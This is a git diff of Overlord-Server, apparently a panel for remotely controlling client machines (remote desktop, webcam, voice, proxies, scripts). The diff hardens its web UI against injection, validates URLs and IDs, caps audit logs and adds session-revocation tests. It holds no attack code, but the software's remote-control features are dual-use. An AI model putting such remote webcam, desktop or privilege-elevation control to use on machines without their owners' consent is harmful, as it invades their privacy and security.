const navPlugins = plugins.filter(
- (p) => p.navbar && p.enabled
+ (p) => p && typeof p === "object" && p.navbar && p.enabled
);
if (navPlugins.length === 0) return;
@@ -28,11 +28,17 @@ export async function loadPluginNavItems(activeMap) {
if (!childContainer) return;
const itemsHtml = navPlugins.map((p) => {
- const linkId = `plugin-nav-${p.id}`;
- activeMap[`/plugins/${p.id}`] = linkId;
+ const pluginId = String(p.id || "").trim();
+ if (
+ !/^[A-Za-z0-9_-][A-Za-z0-9._-]{0,127}$/.test(pluginId) ||
+ pluginId.includes("..") ||
+ pluginId.endsWith(".")
+ ) return "";
+ const linkId = `plugin-nav-${pluginId}`;
+ activeMap[`/plugins/${pluginId}`] = linkId;
const childObj = {
- href: `/plugins/${p.id}`,
+ href: `/plugins/${pluginId}`,
label: p.navbar.label || p.name,
icon: p.navbar.icon || "fa-cube",
iconColor: "text-slate-300",
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index 6ab0a10..2429b37 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -81,16 +81,45 @@ export const NAV_GROUPS = [
TOPBAR — dropdown menus
────────────────────────────────────────────── */
+function escapeNavHtml(value) {
+ return String(value ?? "")
+ .replace(/&/g, "&")
+ .replace(//g, ">")
+ .replace(/"/g, """)
+ .replace(/'/g, "'");
+}
+
+function safeNavHref(value) {
+ const href = String(value ?? "").trim();
+ if (!href.startsWith("/") || href.startsWith("//") || /[\u0000-\u001f\u007f]/.test(href)) {
+ return "#";
+ }
+ return escapeNavHtml(href);
+}
+
+function safeNavId(value) {
+ return String(value ?? "").replace(/[^A-Za-z0-9_.:-]/g, "-").slice(0, 192);
+}
+
+function safeNavClassList(value) {
+ return String(value ?? "")
+ .split(/\s+/)
+ .filter((token) => /^[A-Za-z0-9_-]+$/.test(token))
+ .join(" ");
+}
+
export function dropdownItem(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const prefetchAttr = child.turboPrefetch === false ? ' data-turbo-prefetch="false"' : "";
const badgeHtml = child.hasBadge
? ` `
: "";
- return `
-
- ${child.label}
+ const linkId = safeNavId(child.linkId);
+ return `
+
+ ${escapeNavHtml(child.label)}
${badgeHtml}
`;
}
@@ -241,10 +270,12 @@ export function sidebarChild(child) {
const badgeHtml = child.hasBadge
? ` `
: "";
- return `
-
- ${child.label}
+ const linkId = safeNavId(child.linkId);
+ const label = escapeNavHtml(child.label);
+ return `
+
+ ${label}
${badgeHtml}
`;
}
diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js
index 8988992..91aeb8e 100644
--- a/Overlord-Server/public/assets/notifications.js
+++ b/Overlord-Server/public/assets/notifications.js
@@ -79,6 +79,8 @@ const previewModalImg = document.getElementById("notification-preview-image");
const previewModalClose = document.getElementById("notification-preview-close");
const MAX_ROWS = 200;
+const MAX_CACHED_PREVIEW_OBJECT_URLS = 8;
+const previewObjectUrls = new Map();
// Defaults loaded from /api/notifications/my-settings
let defaultWebhookTemplate = "";
@@ -225,7 +227,7 @@ function formatTime(ts) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text == null ? "" : String(text);
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function wireToggle(inputEl, btnEl) {
@@ -459,26 +461,50 @@ function previewFormatter(cell) {
return wrapper;
}
+ mountPreviewLoader(wrapper, item, row.isLive);
+ return wrapper;
+}
+
+function rememberPreviewObjectUrl(notificationId, objectUrl) {
+ const existing = previewObjectUrls.get(notificationId);
+ if (existing && existing !== objectUrl) URL.revokeObjectURL(existing);
+ previewObjectUrls.delete(notificationId);
+ previewObjectUrls.set(notificationId, objectUrl);
+ while (previewObjectUrls.size > MAX_CACHED_PREVIEW_OBJECT_URLS) {
+ const oldestId = previewObjectUrls.keys().next().value;
+ const oldestUrl = previewObjectUrls.get(oldestId);
+ previewObjectUrls.delete(oldestId);
+ if (oldestUrl) URL.revokeObjectURL(oldestUrl);
+ }
+}
+
+function mountPreviewLoader(wrapper, item, isLive) {
const notificationId = item?.id || "";
- const skipFetch = !notificationId || (!row.isLive && !item?.screenshotId);
+ const skipFetch = !notificationId || (!isLive && !item?.screenshotId);
if (skipFetch) {
wrapper.textContent = "-";
wrapper.className = "text-slate-500";
- return wrapper;
+ return;
}
- if (item._previewObjectUrl) {
- const img = createPreviewImage(item._previewObjectUrl);
- wrapper.appendChild(img);
- return wrapper;
+ const cachedUrl = previewObjectUrls.get(notificationId);
+ if (cachedUrl) {
+ wrapper.appendChild(createPreviewImage(cachedUrl));
+ return;
}
- wrapper.textContent = "Loading...";
- wrapper.className = "text-slate-500";
+ const loadButton = document.createElement("button");
+ loadButton.type = "button";
+ loadButton.className = "text-xs px-2 py-1 rounded border border-slate-700 bg-slate-900/80 hover:bg-slate-800 text-slate-300";
+ loadButton.textContent = "View image";
+ wrapper.appendChild(loadButton);
let attempts = 0;
const maxAttempts = 5;
const fetchPreview = async () => {
+ if (!wrapper.isConnected) return;
attempts += 1;
+ loadButton.disabled = true;
+ loadButton.textContent = attempts > 1 ? `Retrying (${attempts}/${maxAttempts})...` : "Loading...";
try {
const url = `/api/notifications/${encodeURIComponent(notificationId)}/screenshot?ts=${Date.now()}`;
const res = await fetch(url, { cache: "no-store" });
@@ -493,7 +519,7 @@ function previewFormatter(cell) {
}
const blob = await res.blob();
const objectUrl = URL.createObjectURL(blob);
- item._previewObjectUrl = objectUrl;
+ rememberPreviewObjectUrl(notificationId, objectUrl);
wrapper.innerHTML = "";
wrapper.className = "";
wrapper.appendChild(createPreviewImage(objectUrl));
@@ -506,8 +532,7 @@ function previewFormatter(cell) {
wrapper.className = "text-slate-500";
}
};
- fetchPreview();
- return wrapper;
+ loadButton.addEventListener("click", fetchPreview, { once: true });
}
function createPreviewImage(objectUrl) {
@@ -524,7 +549,6 @@ function createPreviewImage(objectUrl) {
previewModal.classList.remove("hidden");
previewModal.classList.add("flex");
});
- if (img.decode) img.decode().catch(() => {});
return img;
}
@@ -549,67 +573,7 @@ function createNotificationRowElement(item, isLive) {
const preview = row.querySelector(".preview-slot");
if (preview) {
- const notificationId = item?.id || "";
- const skipFetch = !notificationId || (!isLive && !item?.screenshotId);
- if (skipFetch) {
- preview.textContent = "-";
- preview.className = "text-slate-500";
- } else {
- preview.textContent = "Loading...";
- preview.className = "text-slate-500";
- const img = document.createElement("img");
- img.className = "max-h-32 w-auto rounded border border-slate-800/80 cursor-zoom-in";
- img.loading = "lazy";
- img.alt = "Notification screenshot";
-
- let attempts = 0;
- const maxAttempts = 5;
- const fetchPreview = async () => {
- attempts += 1;
- try {
- const url = `/api/notifications/${encodeURIComponent(notificationId)}/screenshot?ts=${Date.now()}`;
- const res = await fetch(url, { cache: "no-store" });
- if (!res.ok) {
- if ((res.status === 202 || res.status === 404) && attempts < maxAttempts) {
- setTimeout(fetchPreview, 1000 * attempts);
- return;
- }
- preview.textContent = "-";
- preview.className = "text-slate-500";
- return;
- }
- const blob = await res.blob();
- const objectUrl = URL.createObjectURL(blob);
- img.classList.add("opacity-0");
- preview.innerHTML = "";
- preview.className = "";
- preview.appendChild(img);
- img.addEventListener("load", () => img.classList.remove("opacity-0"));
- img.addEventListener("error", () => {
- preview.textContent = "-";
- preview.className = "text-slate-500";
- URL.revokeObjectURL(objectUrl);
- });
- img.src = objectUrl;
- img.dataset.previewUrl = objectUrl;
- if (img.decode) img.decode().catch(() => {});
- img.addEventListener("click", () => {
- if (!previewModal || !previewModalImg) return;
- previewModalImg.src = img.dataset.previewUrl || objectUrl;
- previewModal.classList.remove("hidden");
- previewModal.classList.add("flex");
- });
- } catch {
- if (attempts < maxAttempts) {
- setTimeout(fetchPreview, 1000 * attempts);
- return;
- }
- preview.textContent = "-";
- preview.className = "text-slate-500";
- }
- };
- fetchPreview();
- }
+ mountPreviewLoader(preview, item, isLive);
}
return row;
@@ -967,6 +931,10 @@ const clearIfActive = () => {
};
document.addEventListener("visibilitychange", clearIfActive);
window.addEventListener("focus", clearIfActive);
+window.addEventListener("beforeunload", () => {
+ for (const objectUrl of previewObjectUrls.values()) URL.revokeObjectURL(objectUrl);
+ previewObjectUrls.clear();
+});
clearIfActive();
function updateDesktopPermissionUi() {
diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js
index a23b00d..3db09aa 100644
--- a/Overlord-Server/public/assets/plugins.js
+++ b/Overlord-Server/public/assets/plugins.js
@@ -362,7 +362,8 @@ function escapeHtml(value) {
.replace(/&/g, "&")
.replace(//g, ">")
- .replace(/"/g, """);
+ .replace(/"/g, """)
+ .replace(/'/g, "'");
}
async function setPluginEnabled(plugin, enabled, confirmed = false) {
@@ -441,8 +442,8 @@ function showPluginEnableConfirmModal(plugin, sigInfo) {
Enable Unverified Plugin
${statusText}
-
Plugin: ${plugin.name || plugin.id}
- ${sig.fingerprint ? `
Signer: ${sig.fingerprint}
` : '
No signature present.
'}
+
Plugin: ${escapeHtml(plugin.name || plugin.id)}
+ ${sig.fingerprint ? `
Signer: ${escapeHtml(sig.fingerprint)}
` : '
No signature present.
'}
Type confirm below to enable this plugin:
diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js
index f593cb2..55e4592 100644
--- a/Overlord-Server/public/assets/processes.js
+++ b/Overlord-Server/public/assets/processes.js
@@ -75,7 +75,8 @@ function updateStatus(state, text) {
disconnected: '
',
};
- statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`;
+ statusEl.innerHTML = icons[state] || icons.disconnected;
+ statusEl.appendChild(document.createTextNode(` ${String(text || "")}`));
const stateClasses = {
connected: "bg-emerald-500/10 text-emerald-300 border-emerald-500/30",
error: "bg-red-500/10 text-red-300 border-red-500/30",
@@ -491,7 +492,7 @@ function formatBytes(bytes) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
// Context menu
diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js
index 489002c..ae18781 100644
--- a/Overlord-Server/public/assets/purgatory-ui.js
+++ b/Overlord-Server/public/assets/purgatory-ui.js
@@ -310,9 +310,12 @@ function actionButtons(c) {
}
function esc(s) {
- const d = document.createElement("div");
- d.textContent = String(s ?? "");
- return d.innerHTML;
+ return String(s ?? "")
+ .replace(/&/g, "&")
+ .replace(//g, ">")
+ .replace(/"/g, """)
+ .replace(/'/g, "'");
}
function dedupeGpu(raw) {
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index 3483e9d..0df17b1 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -852,7 +852,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
error: '
',
};
const label = streamStatusLabel;
- statusEl.innerHTML = `${icons[state] || icons.idle}
${label} `;
+ statusEl.innerHTML = icons[state] || icons.idle;
+ const labelEl = document.createElement("span");
+ labelEl.textContent = String(label || "");
+ statusEl.appendChild(labelEl);
const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm";
const styles = {
streaming: "bg-emerald-900/40 text-emerald-100 border-emerald-700/70",
@@ -1606,12 +1609,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
accessibility: "Accessibility",
fullDiskAccess: "Full Disk Access",
};
- const list = missing.map(k => labels[k] || k).join(", ");
+ const list = missing.map((key) => labels[String(key)] || String(key)).join(", ");
banner.innerHTML = `
- macOS permissions missing: ${list}
+ macOS permissions missing:
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
@@ -1626,6 +1629,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
`;
+ const missingEl = banner.querySelector(".rd-elevate-missing");
+ if (missingEl) missingEl.textContent = list;
// Insert banner above the canvas area
if (canvasContainer && canvasContainer.parentNode) {
diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js
index 00d03f3..592ce64 100644
--- a/Overlord-Server/public/assets/render.js
+++ b/Overlord-Server/public/assets/render.js
@@ -44,7 +44,7 @@ if (typeof document !== "undefined" && typeof MutationObserver !== "undefined")
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
const ROW_SELECTOR = "[data-client-row]";
@@ -699,12 +699,14 @@ export function createRenderer({
return dashboardBadges(client)
.sort((a, b) => (Number(b.priority) || 0) - (Number(a.priority) || 0))
.map((badge) => {
- const label = String(badge.label || badge.title || badge.pluginId || "Plugin");
- const title = String(badge.title || label);
+ const label = String(badge.label || badge.title || badge.pluginId || "Plugin").slice(0, 256);
+ const title = String(badge.title || label).slice(0, 512);
const tone = String(badge.tone || "info").replace(/[^a-z0-9_-]/gi, "").toLowerCase() || "info";
const icon = String(badge.icon || "").replace(/[^a-z0-9_\- ]/gi, "").trim();
- const imageUrl = String(badge.imageUrl || "").trim();
- const href = String(badge.href || "").trim();
+ const rawImageUrl = String(badge.imageUrl || "").trim().slice(0, 2_048);
+ const rawHref = String(badge.href || "").trim().slice(0, 2_048);
+ const imageUrl = /^(?:https?:\/\/|\/(?!\/))/i.test(rawImageUrl) ? rawImageUrl : "";
+ const href = /^(?:https?:\/\/|\/(?!\/)|#)/i.test(rawHref) ? rawHref : "";
const visual = imageUrl
? `
`
: `
`;
diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js
index 0507b77..bb4e37f 100644
--- a/Overlord-Server/public/assets/scripts.js
+++ b/Overlord-Server/public/assets/scripts.js
@@ -238,7 +238,7 @@ function updateSelectedCount() {
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
let cachedSavedScripts = [];
diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index 738840f..81203e8 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -794,6 +794,36 @@ async function loadMfaStatus() {
}
}
+function renderMfaQrCode(svgMarkup) {
+ if (!mfaQrCode) return;
+ mfaQrCode.replaceChildren();
+
+ const svg = typeof svgMarkup === "string" ? svgMarkup.trim() : "";
+ if (!svg || svg.length > 512 * 1024 || !/^
]/i.test(svg) || !/<\/svg>$/i.test(svg)) {
+ return;
+ }
+
+ // Keep API-provided SVG out of the document DOM. SVG loaded through an
+ // image element is an inert image context, so scripts and event handlers in
+ // a compromised response cannot run in the settings page.
+ const image = document.createElement("img");
+ image.alt = "MFA setup QR code";
+ image.className = "block h-full w-full";
+ image.src = `data:image/svg+xml;charset=utf-8,${encodeURIComponent(svg)}`;
+ mfaQrCode.appendChild(image);
+}
+
+function safeMfaOtpauthUrl(value) {
+ const candidate = typeof value === "string" ? value.trim() : "";
+ if (!candidate || candidate.length > 4096) return "#";
+ try {
+ const parsed = new URL(candidate);
+ return parsed.protocol === "otpauth:" && parsed.hostname === "totp" ? parsed.href : "#";
+ } catch {
+ return "#";
+ }
+}
+
async function startMfaSetup() {
try {
const res = await fetch("/api/mfa/setup", { method: "POST", credentials: "include" });
@@ -802,9 +832,9 @@ async function startMfaSetup() {
showMfaMessage(data.error || "Failed to start MFA setup.", "error");
return;
}
- if (mfaQrCode) mfaQrCode.innerHTML = data.qrSvg || "";
+ renderMfaQrCode(data.qrSvg);
if (mfaSecretText) mfaSecretText.textContent = data.secret || "";
- if (mfaOtpauthLink) mfaOtpauthLink.href = data.otpauthUrl || "#";
+ if (mfaOtpauthLink) mfaOtpauthLink.setAttribute("href", safeMfaOtpauthUrl(data.otpauthUrl));
revealElement(mfaSetupPanel, { duration: 240, offset: 8 });
if (mfaEnableCodeInput) mfaEnableCodeInput.focus();
} catch {
diff --git a/Overlord-Server/public/assets/socks5-manager.js b/Overlord-Server/public/assets/socks5-manager.js
index d16daa0..a60f5cb 100644
--- a/Overlord-Server/public/assets/socks5-manager.js
+++ b/Overlord-Server/public/assets/socks5-manager.js
@@ -112,7 +112,7 @@ function renderTable(proxies) {
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
// ── Actions ───────────────────────────────────────────────────────────────────
diff --git a/Overlord-Server/public/assets/sol-publish.js b/Overlord-Server/public/assets/sol-publish.js
index 19336f8..b4a75d9 100644
--- a/Overlord-Server/public/assets/sol-publish.js
+++ b/Overlord-Server/public/assets/sol-publish.js
@@ -117,7 +117,7 @@ function renderRpcEndpointManager(records) {
function escapeHtml(value) {
const element = document.createElement("span");
element.textContent = String(value);
- return element.innerHTML;
+ return element.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
testAllRpcBtn.addEventListener("click", async () => {
diff --git a/Overlord-Server/public/assets/user-client-access.js b/Overlord-Server/public/assets/user-client-access.js
index 48f84bd..05b1b35 100644
--- a/Overlord-Server/public/assets/user-client-access.js
+++ b/Overlord-Server/public/assets/user-client-access.js
@@ -50,7 +50,7 @@ function showMessage(text, type = "ok") {
function escapeHtml(value) {
const div = document.createElement("div");
div.textContent = value == null ? "" : String(value);
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function getRule(clientId) {
diff --git a/Overlord-Server/public/assets/visual-builder.js b/Overlord-Server/public/assets/visual-builder.js
index 723dc83..fdaa054 100644
--- a/Overlord-Server/public/assets/visual-builder.js
+++ b/Overlord-Server/public/assets/visual-builder.js
@@ -115,7 +115,7 @@ let dragGhost = null;
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function findBlockDef(blockId) {
diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js
index 941b460..585aa78 100644
--- a/Overlord-Server/public/assets/voice.js
+++ b/Overlord-Server/public/assets/voice.js
@@ -68,7 +68,10 @@ function setStatus(text, cls) {
if (!statusPill) return;
statusPill.className =
"inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
- statusPill.innerHTML = `${text} `;
+ statusPill.innerHTML = ' ';
+ const label = document.createElement("span");
+ label.textContent = String(text || "");
+ statusPill.appendChild(label);
}
function downsampleTo16k(float32Buffer, sampleRate) {
@@ -537,7 +540,10 @@ function daSetStatus(text, cls) {
if (!daStatusPill) return;
daStatusPill.className =
"inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
- daStatusPill.innerHTML = `${text} `;
+ daStatusPill.innerHTML = ' ';
+ const label = document.createElement("span");
+ label.textContent = String(text || "");
+ daStatusPill.appendChild(label);
}
function daClearPlayback() {
diff --git a/Overlord-Server/public/assets/webcam.js b/Overlord-Server/public/assets/webcam.js
index 10b0cda..7916ed2 100644
--- a/Overlord-Server/public/assets/webcam.js
+++ b/Overlord-Server/public/assets/webcam.js
@@ -523,7 +523,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
state === "error" ? "Error" :
"Stopped");
- statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `;
+ statusEl.innerHTML = icons[state] || icons.idle;
+ const labelEl = document.createElement("span");
+ labelEl.textContent = String(label || "");
+ statusEl.appendChild(labelEl);
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping";
diff --git a/Overlord-Server/public/assets/winre.js b/Overlord-Server/public/assets/winre.js
index d9e6b9b..6fcc60a 100644
--- a/Overlord-Server/public/assets/winre.js
+++ b/Overlord-Server/public/assets/winre.js
@@ -211,7 +211,7 @@ function formatBytes(bytes) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
clientSearch.addEventListener("input", filterAndRenderClients);
diff --git a/Overlord-Server/public/file-share.html b/Overlord-Server/public/file-share.html
index d824111..348b4d9 100644
--- a/Overlord-Server/public/file-share.html
+++ b/Overlord-Server/public/file-share.html
@@ -60,8 +60,7 @@
Downloading password-protected files:
Use the X-Download-Password header:
curl -H "X-Download-Password: yourpass" https://host/api/file-share/<id>/download -o file.ext
- Or pass it as a query parameter:
- curl "https://host/api/file-share/<id>/download?password=yourpass" -o file.ext
+ Do not put the password in the URL; URLs can be retained in browser history and access logs.
diff --git a/Overlord-Server/scripts/run-tests-isolated.ts b/Overlord-Server/scripts/run-tests-isolated.ts
index cf9f4ed..6c197c8 100644
--- a/Overlord-Server/scripts/run-tests-isolated.ts
+++ b/Overlord-Server/scripts/run-tests-isolated.ts
@@ -5,7 +5,14 @@ import { join } from "node:path";
const dataDir = mkdtempSync(join(tmpdir(), "overlord-bun-test-"));
writeFileSync(join(dataDir, "config.json"), "{}\n", "utf8");
-const child = Bun.spawn(["bun", "test", "src", ...process.argv.slice(2)], {
+const child = Bun.spawn([
+ "bun",
+ "test",
+ "--isolate",
+ "--max-concurrency=1",
+ "src",
+ ...process.argv.slice(2),
+], {
cwd: import.meta.dirname + "/..",
env: {
...process.env,
diff --git a/Overlord-Server/src/audit-storage-security.test.ts b/Overlord-Server/src/audit-storage-security.test.ts
new file mode 100644
index 0000000..4b055e7
--- /dev/null
+++ b/Overlord-Server/src/audit-storage-security.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, test } from "bun:test";
+import Database from "bun:sqlite";
+import { pruneAuditRowsToLimit } from "./auditLog";
+
+function makeAuditDatabase(): Database {
+ const database = new Database(":memory:");
+ database.run(`
+ CREATE TABLE audit_logs (
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
+ timestamp INTEGER NOT NULL,
+ username TEXT NOT NULL,
+ ip TEXT NOT NULL,
+ action TEXT NOT NULL,
+ target_client_id TEXT,
+ details TEXT,
+ success INTEGER NOT NULL,
+ error_message TEXT
+ )
+ `);
+ return database;
+}
+
+describe("audit storage quota", () => {
+ test("prunes the oldest rows in bounded batches", () => {
+ const database = makeAuditDatabase();
+ try {
+ const insert = database.prepare(
+ "INSERT INTO audit_logs(timestamp, username, ip, action, success) VALUES (?, 'system', '127.0.0.1', 'test', 1)",
+ );
+ for (let i = 0; i < 10; i += 1) insert.run(i);
+
+ expect(pruneAuditRowsToLimit(database, 3, 4)).toBe(4);
+ expect(database.query("SELECT timestamp FROM audit_logs ORDER BY timestamp").all()).toEqual([
+ { timestamp: 4 }, { timestamp: 5 }, { timestamp: 6 },
+ { timestamp: 7 }, { timestamp: 8 }, { timestamp: 9 },
+ ]);
+ expect(pruneAuditRowsToLimit(database, 3, 20)).toBe(3);
+ expect(database.query("SELECT timestamp FROM audit_logs ORDER BY timestamp").all()).toEqual([
+ { timestamp: 7 }, { timestamp: 8 }, { timestamp: 9 },
+ ]);
+ } finally {
+ database.close();
+ }
+ });
+});
diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts
index af7b271..557d19d 100644
--- a/Overlord-Server/src/auditLog.ts
+++ b/Overlord-Server/src/auditLog.ts
@@ -10,7 +10,12 @@ const db = new Database(dbPath);
const auditQueue: AuditLogEntry[] = [];
const BATCH_SIZE = 50;
const BATCH_INTERVAL_MS = 1000;
+export const DEFAULT_AUDIT_MAX_ROWS = 250_000;
+export const MAX_AUDIT_PRUNE_BATCH = 50_000;
+const AUDIT_MAINTENANCE_EVERY_WRITES = 1_000;
+const AUDIT_MAINTENANCE_INTERVAL_MS = 60 * 60 * 1000;
let flushTimeout: Timer | null = null;
+let auditWritesSinceMaintenance = 0;
const VERBOSE_AUDIT = process.env.VERBOSE_AUDIT === "true";
@@ -117,16 +122,46 @@ export interface AuditLogFilters {
deniedClientIds?: string[];
}
+function positiveAuditInt(name: string, fallback: number, maximum: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback;
+ return Math.min(parsed, maximum);
+}
+
+function boundedAuditText(value: unknown, maxLength: number): string {
+ return typeof value === "string"
+ ? value.slice(0, maxLength).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "")
+ : "";
+}
+
+function normalizeAuditEntry(entry: AuditLogEntry): AuditLogEntry {
+ return {
+ timestamp: Number.isFinite(entry.timestamp) ? entry.timestamp : Date.now(),
+ username: boundedAuditText(entry.username, 128) || "unknown",
+ ip: boundedAuditText(entry.ip, 128) || "unknown",
+ action: boundedAuditText(entry.action, 128) || "unknown",
+ ...(entry.targetClientId
+ ? { targetClientId: boundedAuditText(entry.targetClientId, 128) || undefined }
+ : {}),
+ ...(entry.details ? { details: boundedAuditText(entry.details, 16 * 1024) || undefined } : {}),
+ success: entry.success === true,
+ ...(entry.errorMessage
+ ? { errorMessage: boundedAuditText(entry.errorMessage, 4 * 1024) || undefined }
+ : {}),
+ };
+}
+
export function logAudit(entry: AuditLogEntry): void {
- auditQueue.push(entry);
+ const normalized = normalizeAuditEntry(entry);
+ auditQueue.push(normalized);
if (VERBOSE_AUDIT) {
- const status = entry.success ? "✓" : "✗";
- const target = entry.targetClientId
- ? ` [client: ${entry.targetClientId.substring(0, 8)}...]`
+ const status = normalized.success ? "✓" : "✗";
+ const target = normalized.targetClientId
+ ? ` [client: ${normalized.targetClientId.substring(0, 8)}...]`
: "";
console.log(
- `[audit] ${status} ${entry.username}@${entry.ip} - ${entry.action}${target}`,
+ `[audit] ${status} ${normalized.username}@${normalized.ip} - ${normalized.action}${target}`,
);
}
@@ -170,6 +205,11 @@ function flushAuditLogs(): void {
});
transaction(logsToWrite);
+ auditWritesSinceMaintenance += logsToWrite.length;
+ if (auditWritesSinceMaintenance >= AUDIT_MAINTENANCE_EVERY_WRITES) {
+ auditWritesSinceMaintenance = 0;
+ runAuditMaintenance();
+ }
metrics.recordInternalTask("audit-flush", Date.now() - startedAt);
} catch (error) {
console.error(
@@ -359,6 +399,52 @@ export function cleanupOldAuditLogs(daysToKeep: number = 90): number {
return deleted;
}
+export function pruneAuditRowsToLimit(
+ database: Database,
+ maxRows: number,
+ maxBatch = MAX_AUDIT_PRUNE_BATCH,
+): number {
+ const safeMaxRows = Math.max(1, Math.floor(maxRows));
+ const safeBatch = Math.max(1, Math.floor(maxBatch));
+ const total = Number(
+ (database.query("SELECT COUNT(*) AS count FROM audit_logs").get() as { count?: number } | null)?.count || 0,
+ );
+ const deleteCount = Math.min(safeBatch, Math.max(0, total - safeMaxRows));
+ if (deleteCount === 0) return 0;
+ return database.run(
+ `DELETE FROM audit_logs WHERE id IN (
+ SELECT id FROM audit_logs ORDER BY timestamp ASC, id ASC LIMIT ?
+ )`,
+ [deleteCount],
+ ).changes;
+}
+
+export function runAuditMaintenance(): void {
+ try {
+ const retentionSetting = String(process.env.OVERLORD_AUDIT_RETENTION_DAYS || "").trim();
+ if (retentionSetting) {
+ cleanupOldAuditLogs(positiveAuditInt("OVERLORD_AUDIT_RETENTION_DAYS", 90, 3_650));
+ }
+ const maxRowsSetting = String(process.env.OVERLORD_AUDIT_MAX_ROWS || "").trim();
+ if (maxRowsSetting) {
+ const maxRows = positiveAuditInt(
+ "OVERLORD_AUDIT_MAX_ROWS",
+ DEFAULT_AUDIT_MAX_ROWS,
+ 10_000_000,
+ );
+ const deleted = pruneAuditRowsToLimit(db, maxRows);
+ if (deleted > 0) {
+ console.log(`[audit] Pruned ${deleted} oldest rows to enforce the ${maxRows} row cap`);
+ }
+ }
+ } catch (error) {
+ console.error("[audit] Maintenance failed:", error);
+ }
+}
+
+setTimeout(runAuditMaintenance, 5_000).unref?.();
+setInterval(runAuditMaintenance, AUDIT_MAINTENANCE_INTERVAL_MS).unref?.();
+
process.on("beforeExit", () => {
flushAuditLogs();
});
diff --git a/Overlord-Server/src/auth.test.ts b/Overlord-Server/src/auth.test.ts
index f2017dd..7b289e1 100644
--- a/Overlord-Server/src/auth.test.ts
+++ b/Overlord-Server/src/auth.test.ts
@@ -2,7 +2,7 @@ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { authenticateRequest, extractTokenFromCookie, extractTokenFromHeader, generateToken } from "./auth";
import { getConfig, updateAppearanceConfig, type Config } from "./config";
import { generateTotpCode } from "./mfa";
-import { getBrandingImage } from "./db";
+import { getBrandingImage, hashTokenForSession, revokeSessionByTokenHash } from "./db";
import {
createUser,
deleteUser,
@@ -46,6 +46,27 @@ describe("auth token extraction", () => {
});
});
+describe("session-backed authentication", () => {
+ test("a revoked session invalidates HTTP authentication immediately", async () => {
+ const username = `session_revoke_${Date.now().toString(36)}`;
+ const created = await createUser(username, PASSWORD, "viewer", "test");
+ expect(created.success).toBe(true);
+
+ try {
+ const token = await generateToken(getUserById(created.userId!)!);
+ const request = new Request("https://localhost/api/auth/me", {
+ headers: { Authorization: `Bearer ${token}` },
+ });
+ expect((await authenticateRequest(request))?.userId).toBe(created.userId!);
+
+ expect(revokeSessionByTokenHash(hashTokenForSession(token))).toBe(true);
+ expect(await authenticateRequest(request)).toBeNull();
+ } finally {
+ deleteUser(created.userId!);
+ }
+ });
+});
+
describe("forced password change authentication", () => {
test("a pending account can only use identity, logout, and its own password endpoint", async () => {
const username = `forced_password_${Date.now().toString(36)}`;
diff --git a/Overlord-Server/src/auth.ts b/Overlord-Server/src/auth.ts
index 0ef07f0..2464a23 100644
--- a/Overlord-Server/src/auth.ts
+++ b/Overlord-Server/src/auth.ts
@@ -12,6 +12,7 @@ import {
isTokenRevoked,
pruneExpiredRevokedTokens,
createSession,
+ getSessionByTokenHash,
hashTokenForSession,
